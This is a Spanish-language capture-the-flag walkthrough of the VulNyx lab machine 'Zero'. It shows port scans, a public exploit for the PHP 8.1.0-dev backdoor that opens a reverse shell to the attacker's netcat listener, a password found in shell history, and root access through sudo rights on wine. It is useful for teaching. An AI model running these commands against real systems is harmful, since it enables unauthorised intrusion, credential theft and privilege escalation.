VulNyx - Zero
- Backdoor Remote Code Execution
- Leakage Credentials Information
- Abuse Wine Binary
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.56
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,8080 192.168.1.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0e624fb9eb07a1abdf7b185237fb16f (RSA)
| 256 99c87431451058b0cecc63b47a82573d (ECDSA)
|_ 256 60da3e3138fab549ab48c3432c9fd132 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.56 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
8080/tcp open http PHP cli server 5.5 or later (PHP 8.1.0-dev)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 80 hay un servidor Apache/2.4.56
que pone lo siguiente:
En el puerto 8080 hay un servidor PHP/8.1.0-dev
con el mismo texto.
Buscando en internet con la palabra clave PHP 8.1.0-dev
he encontrado este exploit.
❯ python3 revshell_php_8.1.0-dev.py http://192.168.1.56:8080 192.168.1.18 1234
Obtengo la shell y me doy cuenta de que estoy dentro de un contenedor.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.56] 46088
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@6ad9beefaa2d:/var/www/html#id
uid=0(root) gid=0(root) groups=0(root)
Con el comando history encuentro un usuario y su contraseña.
root@6ad9beefaa2d:/var/www/html# history
history
1 sshpass -p 'L************4' ssh liam@127.0.0.1
Me conecto al sistema como usuario liam.
❯ ssh liam@192.168.1.56
liam@192.168.1.56's password:
Linux zero 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64
liam@zero:~$ id
uid=1000(liam) gid=1000(liam) grupos=1000(liam)
Enumero permisos de sudo.
liam@zero:~$ sudo -l
Matching Defaults entries for liam on zero:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User liam may run the following commands on zero:
(root) NOPASSWD: /usr/bin/wine
Obtengo el root de la siguiente forma.
liam@zero:~$ sudo wine cmd.exe
Microsoft Windows 6.1.7601
Z:\home\liam>cd /root
Z:\root>echo %USERNAME%
root
Z:\root>hostname
ZERO
Y con esto ya tenemos resuelta la máquina Zero.
Saludos!